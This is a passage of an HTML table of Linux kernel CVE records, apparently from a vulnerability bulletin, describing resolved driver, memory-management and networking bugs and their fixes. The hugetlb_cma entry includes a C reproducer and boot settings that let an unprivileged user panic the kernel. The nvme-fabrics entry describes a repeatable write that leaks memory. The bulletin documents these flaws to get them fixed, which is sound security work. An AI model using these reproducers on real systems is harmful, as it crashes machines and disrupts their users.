&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: pressure: dps310: fix NULL pointer dereference on ACPI probe When the device is enumerated through its ACPI HID (IFX3100), i2c_client_get_device_id() returns NULL: the ACPI-derived client name does not match the driver&#039;s i2c_device_id table. dps310_probe() then dereferences that NULL pointer in &quot;iio-&amp;gt;name = id-&amp;gt;name&quot; and crashes the kernel during probe. The IIO device name is always &quot;dps310&quot;, so set it directly and drop the now-unused device-id lookup.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89933&quot; target=&quot;_blank&quot;&gt;CVE-2026-89933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: light: ltrf216a: fix runtime PM reference leak in error path ltrf216a_get_lux() acquires a runtime PM reference by calling ltrf216a_set_power_state(data, true). However, if ltrf216a_read_data() fails, the function returns immediately without dropping the reference. This leaves the runtime PM usage count unbalanced, preventing the device from autosuspending after a failed read. Fix this by releasing the runtime PM reference before returning from the error path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89934&quot; target=&quot;_blank&quot;&gt;CVE-2026-89934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: light: apds9306: fix PM reference leak in apds9306_read_data() apds9306_read_data() calls pm_runtime_resume_and_get() but several error paths return directly without calling pm_runtime_put_autosuspend(), leaking the runtime PM reference and preventing the device from autosuspending. Use PM_RUNTIME_ACQUIRE_AUTOSUSPEND() and PM_RUNTIME_ACQUIRE_ERR() to automatically handle runtime PM reference release on all return paths.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89935&quot; target=&quot;_blank&quot;&gt;CVE-2026-89935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: dac: m62332: Fix regulator reference count imbalance m62332_set_value() enables the Vcc regulator on every write of a non-zero value and disables it on every write of zero, without tracking the channel&#039;s current state. Because the regulator is reference counted, changing a channel directly from one non-zero value to another enables it more than once, while a later write of zero disables it only once. The reference count never returns to zero and the regulator is left enabled indefinitely. Only enable the regulator on the transition from zero to non-zero, and only disable it on the transition from non-zero to zero, using the previously stored channel value to detect the edge. Balance the regulator on the I2C error path so the reference count stays consistent if the write fails.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89936&quot; target=&quot;_blank&quot;&gt;CVE-2026-89936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: chemical: sgp30: Handle IAQ thread creation failure kthread_run() can fail and return an error pointer, but sgp_probe() stores it and returns success, so the device is registered without its IAQ thread and sgp_remove() later passes the error pointer to kthread_stop(). Return the error from probe instead.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89937&quot; target=&quot;_blank&quot;&gt;CVE-2026-89937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: chemical: atlas-sensor: fix PM reference leak in buffer postenable atlas_buffer_postenable() acquires a runtime PM reference with pm_runtime_resume_and_get() but returns the result of atlas_set_interrupt() directly. If atlas_set_interrupt() fails, the runtime PM reference is leaked and the device can never autosuspend. Add pm_runtime_put_autosuspend() on the error path to balance the reference.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89939&quot; target=&quot;_blank&quot;&gt;CVE-2026-89939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: hdac_hda: Fix hlink refcount leak on component registration failure hdac_hda_dev_probe() gets the HDA link with snd_hdac_ext_bus_link_get() before registering the ASoC component. If component registration fails, the function returns without dropping the link reference. Always call snd_hdac_ext_bus_link_put() after the registration attempt so the reference taken during probe is balanced on both success and failure.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89944&quot; target=&quot;_blank&quot;&gt;CVE-2026-89944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: cs35l34: drain threaded IRQ before runtime suspend cs35l34_runtime_suspend() currently switches the codec into regcache_cache_only(true), asserts reset low, and powers the device off without first quiescing the threaded IRQ registered by devm_request_threaded_irq(). That leaves a window where cs35l34_irq_thread() can still run after suspend has removed live hardware access. A running system can reach this during runtime PM while the driver still has critical fault IRQs unmasked. If the threaded handler runs in that window, it reads volatile INT_STATUS_1..4 after cache_only has been enabled, ignores the regmap_read() failures, and can still execute the PROT_RELEASE_CTL release sequence or the BST fault power-down writes. Use disable_irq() before entering cache_only/reset-low/power-off so any in-flight threaded handler is drained and no new IRQ thread can run while the device is suspended. Re-enable the IRQ only after runtime_resume() has restored live register access with regcache_sync(). Since probe only logs request_threaded_irq() failures and keeps going, track whether the IRQ was actually installed before disabling or re-enabling it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89945&quot; target=&quot;_blank&quot;&gt;CVE-2026-89945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: cs35l33: drain threaded IRQ before runtime suspend cs35l33_runtime_suspend() currently switches the codec into regcache_cache_only(true) and powers it down without first quiescing the threaded IRQ registered by devm_request_threaded_irq(). That leaves a window where cs35l33_irq_thread() can still run after suspend has closed off live register access. A running system can reach this during runtime PM while the driver still has critical fault IRQs unmasked. If the threaded handler runs in that window, it reads volatile INT_STATUS_1/2 after cache_only has been enabled, ignores the regmap_read() failures, and can still drive the AMP_SHORT_RLS, CAL_ERR_RLS, OTE_RLS, and OTW_RLS release paths. Use disable_irq() before entering cache_only/power-off so any in-flight threaded handler is drained and no new IRQ thread can run during the suspended state. Re-enable the IRQ only after runtime_resume() has restored live register access with regcache_sync(). Since probe only warns if devm_request_threaded_irq() fails, track whether the IRQ was actually installed before disabling or re-enabling it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89946&quot; target=&quot;_blank&quot;&gt;CVE-2026-89946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: fix freeing of claims on meshif deletion When the mesh interface is getting deleted, then batadv_bla_del_backbone_claims() (via batadv_bla_purge_backbone_gw()) could make sure that all claims gets removed. But this function is only executed when bat_priv-&amp;gt;bla.claim_hash is not NULL. And since batadv_bla_free() is always setting it to NULL before it is (indirectly) called, it was never actually executed. But the batadv_bla_purge_claims() -&amp;gt; batadv_handle_unclaim() is at the moment too fragile because the BLA code is not handling the rehashing in batadv_bla_update_orig_address(). The stored backbone address doesn&#039;t have to be the one actually used for the hash bucket selection during the initial adding of the backbone. The batadv_handle_unclaim() can therefore fail to find the respective backbone for the unclaim and then stop the deletion. But the actual backbone_gw object is not needed for the unclaim because all relevant information is always provided by the caller. And the check for the existence of the backbone_gw doesn&#039;t provide any additional security check for the deletion of a claim.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89948&quot; target=&quot;_blank&quot;&gt;CVE-2026-89948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: batman-adv: dat: avoid unaligned fault in IP extraction Independent of the alignment of the ARP packet in the SKB, either the batadv_arp_ip_src or the batadv_arp_ip_dst will have an unaligned access (on HW without native unaligned read support). Use get_unaligned() to handle this properly on all architectures.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89949&quot; target=&quot;_blank&quot;&gt;CVE-2026-89949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: batman-adv: mcast: linearize skbuff for packet generation batadv_mcast_forw_packet() and batadv_mcast_forw_scrape() is not only called (indirectly) by the unsharing+linearizing batadv_recv_mcast_packet() handler. When it is called (indirectly) by batadv_mcast_forw_mcsend() then it will be unshared but not linearized. The SKB_LINEAR_ASSERT() can therefore cause a fatal BUG(). The linearization should happen during the expansion of the head because the scrape function can be hit already during the initial batadv_mcast_forw_mode() selection code: * batadv_interface_tx * batadv_mcast_forw_mode * batadv_mcast_forw_mode_by_count() * batadv_mcast_forw_push() -&amp;gt; calls batadv_mcast_forw_expand_head() before everything else * batadv_mcast_forw_push_tvlvs() * batadv_mcast_forw_push_dests() * batadv_mcast_forw_push_adjust_padding() * batadv_mcast_forw_scrape()&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89950&quot; target=&quot;_blank&quot;&gt;CVE-2026-89950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mtd: rawnand: validate ONFI extended parameter page sections nand_flash_detect_ext_param_page() allocates the length declared by the ONFI parameter page, then treats the data as a fixed header followed by variable-length sections. It reads that header and advances over sections without first proving that the fixed page and each current section fit in the allocation. Reject pages shorter than the fixed header, track the remaining variable area while walking sections, and require the ECC section to contain every field read from struct onfi_ext_ecc_info. Use device-scoped diagnostics that identify the malformed ONFI section.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89952&quot; target=&quot;_blank&quot;&gt;CVE-2026-89952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mtd: mtdoops: free page bitmap when the backing MTD is removed mtdoops_notify_add() allocates oops_page_used when the configured MTD device is registered. mtdoops_notify_remove() detaches from that device but leaves the bitmap allocated. If the same MTD device is later registered again, the add path allocates a new bitmap and overwrites the old pointer, leaking one vmalloc allocation per remove/add cycle. This is only visible when the backing MTD device can disappear and be registered again while mtdoops remains loaded, so the usual static MTD case does not expose it. Free the bitmap after unregistering the dumper and flushing the pending workers, then clear the pointer and page count before a later attach can allocate fresh state. Clearing the pointer also keeps the module exit path from freeing the same bitmap a second time after a remove event.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89953&quot; target=&quot;_blank&quot;&gt;CVE-2026-89953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix NULL deref in status_show() during queue probe When vfio_ap_mdev_probe_queue() creates the sysfs attribute group, the queue&#039;s driver data has not yet been set. A concurrent read of the &#039;status&#039; attribute can therefore call dev_get_drvdata() and get NULL, which is then passed directly to vfio_ap_mdev_for_queue() where q-&amp;gt;apqn is unconditionally dereferenced, causing a NULL pointer dereference. Fix this by acquiring the update locks before calling sysfs_create_group(). The status_show() function acquires guests_lock before reading the driver data, so any concurrent read will block until after dev_set_drvdata() has been called and the update locks are released. As a bonus, the APQN no longer needs to be read from the queue struct after allocation - it can be read directly from apdev before allocation and stored in a local variable, which is then assigned to q-&amp;gt;apqn once the allocation succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89955&quot; target=&quot;_blank&quot;&gt;CVE-2026-89955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix missing lock required to access list of ap_matrix_mdev objects In order to traverse or add/remove ap_matrix_mdev objects in the matrix_dev-&amp;gt;mdev_list, the matrix_dev-&amp;gt;guests_lock mutex must be held. There are two functions that access the list without holding the mutex: vfio_ap_mdev_probe function ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The vfio_ap_mdev_probe function uses the matrix_dev-&amp;gt;mdevs_lock mutex to guard the add of a newly created ap_matrix_mdev object to the matrix_dev-&amp;gt;mdev_list. This mutex does not protect list access; its purpose is to guard against concurrent access to fields contained in an ap_matrix_mdev object. This could lead to kernel memory corruption or use-after-free if another mdev is created or removed concurrently. The adding of an ap_matrix_mdev object to matrix_dev-&amp;gt;mdev_list is now guarded by the matrix_dev-&amp;gt;guests_lock which is the correct way to protect against concurrent mdev_list access. Also removed the following two lines of code because the matrix_mdev is allocated via vfio_alloc_device macro which uses kzalloc, so req_trigger and cfg_chg_trigger are already zero-initialised when the struct is allocated before the call to vfio_register_emulated_iommu_dev. This prevents a window whereby these triggers are set to NULL after the device is exposed to userspace. matrix_mdev-&amp;gt;req_trigger = NULL; matrix_mdev-&amp;gt;cfg_chg_trigger = NULL; vfio_ap_mdev_for_queue function ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The status_show function that supports display of the status attribute of the devices in /sys/bus/ap/devices calls the vfio_ap_mdev_for_queue function which iterates the matrix_dev-&amp;gt;mdev_list to find the object representing the queue device whose status is to be displayed. In order to traverse this list, the matrix_dev-&amp;gt;guests_lock mutex must be held. To fix this, the guests_lock mutex is taken prior to taking the matrix_dev-&amp;gt;mdevs_lock mutex in the status_show function. It is taken there rather than the vfio_ap_mdev_for_queue function - where it is needed - because it must be taken prior to the mdevs_lock mutex in order to adhere to the proper locking order and prevent a lockdep splat; also because the mdevs_lock is needed there to access fields within the matrix_mdev object in that function. See the vfio-ap-locking.rst in the linux kernel tree.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89956&quot; target=&quot;_blank&quot;&gt;CVE-2026-89956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix dereference matrix_mdev-&amp;gt;kvm without checking for NULL The ap_driver structure has two fields which are function pointers to callbacks: * .on_config_changed: called at the start of the AP bus scan function to notify the device driver that the host AP configuration has changed and the associated AP devices will be added or removed accordingly. This gives the implementor a chance to evaluate the configuration changes and respond to them before the associated devices are added or removed. * .on_scan_complete: Called at the end of the AP bus scan function to notify the device driver that the host AP configuration has changed and the AP devices have been added or removed accordingly. This gives the implementor the opportunity to respond to the changes after the associated devices are added or removed. These two callbacks are implemented in the vfio_ap device driver via the vfio_ap_on_cfg_changed and vfio_ap_on_scan_complete functions respectively. Within the call stack of these two callback functions the matrix_mdev-&amp;gt;kvm-&amp;gt;lock mutex is taken without checking whether matrix_mdev-&amp;gt;kvm is NULL or not. If matrix_mdev-&amp;gt;kvm has never been set, trying to take the lock will trigger a NULL pointer dereference. This patch adds checks for matrix_mdev-&amp;gt;kvm == NULL before taking the matrix_mdev-&amp;gt;kvm-&amp;gt;lock mutex. Note that the matrix_mdev-&amp;gt;kvm-&amp;gt;lock mutex taken in the vfio_ap_mdev_hot_plug_config function is moved to the calling function along with the matrix_dev-&amp;gt;mdevs_lock which is needed there to access the fields of the matrix_mdev. It makes little sense to make the change the check for matrix_mdev-&amp;gt;kvm there before taking the kvm-&amp;gt;lock mutex only to have to move it out via another patch, so it is done in this patch. It is important to make note of the following: 1. The matrix_dev-&amp;gt;guests_lock is acquired at the start of both callback functions. This ensures that matrix_mdev will not be removed via the vfio_ap_mdev_remove function because it too takes matrix_dev_guests_lock before removing the object; so, matrix_mdev will be available for the duration of the callback functions. 2. The matrix_dev-&amp;gt;mdevs_lock mutex must be taken in order to access fields within the matrix_mdev structure 3. matrix_mdev-&amp;gt;kvm-&amp;gt;lock mutex must be taken before the matrix_dev-&amp;gt;mdevs_lock to prevent a lockdep splat. 4: The kvm-&amp;gt;lock must be held while plugging the guest&#039;s AP configuration into its SIE state description via the vfio_ap_mdev_update_guest_apcb function. 5. The vfio_ap_mdev_update_guest_apcb checks matrix_mdev-&amp;gt;kvm to verify it is not NULL before doing the hot plug of the guest&#039;s AP configuration.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89958&quot; target=&quot;_blank&quot;&gt;CVE-2026-89958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/kexec_file: Prevent kexec range truncation Sashiko AI review pointed out the following issue. The __merge_memory_ranges() function incorrectly handles overlapping memory ranges when merging them. Although sort_memory_ranges() sorts all ranges by their start address in ascending order beforehand, the merge logic remains defective in two ways: 1. It compares the current range&#039;s start against the previous element (i-1) instead of the running target index (idx) 2. It unconditionally overwrites &#039;ranges[idx].end&#039; with &#039;ranges[i].end&#039;. This logic flaw leads to critical memory truncation when a larger memory range completely subsumes subsequent smaller ranges. For example, consider a sorted input array with three ranges: Range A (idx=0): [0x1000 - 0x9000] Range B (i=1): [0x2000 - 0x5000] (completely inside Range A) Range C (i=2): [0x6000 - 0x8000] (completely inside Range A) 1. When i=1 (Range B): ranges[1].start (0x2000) &amp;lt;= ranges[0].end + 1 (0x9001) is TRUE. The code executes: ranges[0].end = ranges[1].end, which erroneously shrinks Range A&#039;s end from 0x9000 down to 0x5000. 2. When i=2 (Range C): ranges[2].start (0x6000) &amp;lt;= ranges[1].end + 1 (0x5001) is FALSE. The code falls into the else block, creating a broken new range. As a result, valid memory fragments [0x5001 - 0x5fff] and [0x8001 - 0x9000] are completely lost from the kexec exclude lists, potentially allowing the crash kernel to overwrite active memory, causing data corruption or crashes. Fix this by ensuring the start of the current range is compared against the end of the active merged range (idx), and use max() to safely prevent the outer boundary from being truncated.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89962&quot; target=&quot;_blank&quot;&gt;CVE-2026-89962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/kexec_file: Fix null-ptr-def in extra size calculation A static Sashiko AI review identified a potential NULL pointer dereference in kexec_extra_fdt_size_ppc64(). On platforms without any reserved memory regions, get_reserved_memory_ranges() can return 0 while leaving &#039;rmem&#039; unallocated as NULL. Passing it directly leads to a kernel panic when evaluating &#039;rmem-&amp;gt;nr_ranges&#039;. Add a NULL check for &#039;rmem&#039; to prevent this crash.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89963&quot; target=&quot;_blank&quot;&gt;CVE-2026-89963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: parisc: eisa: Fix infinite loop when parsing invalid IRQ value When an invalid value is passed via the &quot;eisa_irq_edge=&quot; kernel command line parameter (e.g. &quot;eisa_irq_edge=16,5&quot;), eisa_irq_setup() prints an error message and continues without advancing the current position. As a result the same invalid value is parsed again and again, causing an infinite loop while the kernel boots. Advance to the next comma-separated entry, or stop parsing when there is no next entry, before continuing so that the remaining entries are processed normally.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89964&quot; target=&quot;_blank&quot;&gt;CVE-2026-89964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/hugetlb_cma: fix null nodemask dereference in hugetlb_cma_alloc_frozen_folio alloc_buddy_hugetlb_folio_with_mpol() can pass a NULL nodemask to alloc_fresh_hugetlb_folio() as a fallback to allocate from all nodes. If order is gigantic, alloc_fresh_hugetlb_folio() propagates the NULL nodemask down to hugetlb_cma_alloc_frozen_folio() via alloc_gigantic_frozen_folio(). Additionally, hugetlb_cma_alloc_frozen_folio() previously attempted allocation on hugetlb_cma[nid] without verifying if nid is included in the caller&#039;s nodemask. Adding a node_isset(nid, *nodemask) check ensures the initial preferred node allocation honors the memory policy / nodemask. However, hugetlb_cma_alloc_frozen_folio() dereferences the nodemask in node_isset(nid, *nodemask) and for_each_node_mask(node, *nodemask), leading to a null pointer dereference kernel panic when nodemask is NULL. Fix this by checking if nodemask is NULL in hugetlb_cma_alloc_frozen_folio() and defaulting it to cpuset_current_mems_allowed. Enclose the allocation attempts within the cpuset seqcount retry loop so that if the cpuset changes concurrently during allocation, the attempts are retried using the updated nodemask. This ensures that the initial node check and fallback loop safely honor the task&#039;s cpuset without violating cpuset constraints or causing NULL pointer dereferences or unexpected allocation failures. From a userspace perspective, this bug allows an unprivileged user to crash the kernel (trigger a panic) by requesting a gigantic hugepage allocation with MPOL_PREFERRED_MANY on a system where CMA is only configured on a subset of NUMA nodes. This can be reproduced by booting a VM with two NUMA nodes, restricting CMA to Node 1 (e.g., hugetlb_cma=1:1G default_hugepagesz=1G hugepagesz=1G hugepages=0), and running a program that allocates a 1GB hugepage area without reserving, restricts allocation to Node 0 using mbind() with MPOL_PREFERRED_MANY, and triggers a page fault: void *ptr = mmap(NULL, 1UL &amp;lt;&amp;lt; 30, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_HUGE_1GB | MAP_NORESERVE, -1, 0); unsigned long nodemask = 1; /* Node 0 */ mbind(ptr, 1UL &amp;lt;&amp;lt; 30, MPOL_PREFERRED_MANY, &amp;amp;nodemask, sizeof(nodemask) * 8, 0); memset(ptr, 0, 1UL &amp;lt;&amp;lt; 30); /* Trigger fault */ This results in a NULL pointer dereference: BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page Oops: Oops: 0000 [#1] SMP NOPTI RIP: 0010:hugetlb_cma_alloc_frozen_folio+0x75/0x120 Call Trace: &amp;lt;TASK&amp;gt; only_alloc_fresh_hugetlb_folio.isra.0+0x2c/0x160 alloc_surplus_hugetlb_folio+0x6d/0x100 alloc_hugetlb_folio+0x3c5/0x660 hugetlb_no_page+0x3d9/0x650&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89966&quot; target=&quot;_blank&quot;&gt;CVE-2026-89966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-fabrics: fix DHCHAP secret leak on parse failure nvmf_parse_options() duplicates dhchap_secret and dhchap_ctrl_secret with match_strdup() before validating the DHHC-1: representation. If validation fails, the parser returns -EINVAL before the temporary string in p is assigned to opts-&amp;gt;dhchap_secret or opts-&amp;gt;dhchap_ctrl_secret. nvmf_create_ctrl() subsequently frees opts, but nvmf_free_options() cannot release the unassigned temporary string. Each rejected option therefore leaks one allocation. This is easy to miss because valid secrets transfer ownership to opts and are freed normally, while the malformed-secret path still returns the expected -EINVAL to userspace. With CONFIG_NVME_HOST_AUTH enabled, the leak is reachable before the required-option checks and transport lookup. No NVMe-oF target or working transport connection is required; for example, repeatedly writing dhchap_secret=BAD or dhchap_ctrl_secret=BAD to /dev/nvme-fabrics deterministically takes the leaking parse path. Free the temporary string before leaving both validation error paths. Use kfree_sensitive() because the copied option may contain secret material even when its representation is rejected, matching the sensitive cleanup used for stored DHCHAP secrets.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89975&quot; target=&quot;_blank&quot;&gt;CVE-2026-89975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/ethosu: fix job completion fence cleanup ethosu_ioctl_submit_job() allocates done_fence before validating buffer handles. Errors after allocation call ethosu_job_err_cleanup(), which frees the job but leaks the uninitialized fence. A scheduler dependency error also lets ethosu_job_run() return before dma_fence_init(). Normal cleanup then passes a zeroed refcount to dma_fence_put(). Release done_fence in the common cleanup path and use dma_fence_was_initialized() to distinguish initialized fences from raw allocations. [robh: also fix goto]&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89976&quot; target=&quot;_blank&quot;&gt;CVE-2026-89976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/ethosu: check MMIO mapping errors in probe devm_platform_ioremap_resource() returns an error pointer when the register resource cannot be mapped. ethosu_probe() stores it and continues until initialization dereferences it through MMIO accessors. Return the mapping error before initializing the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
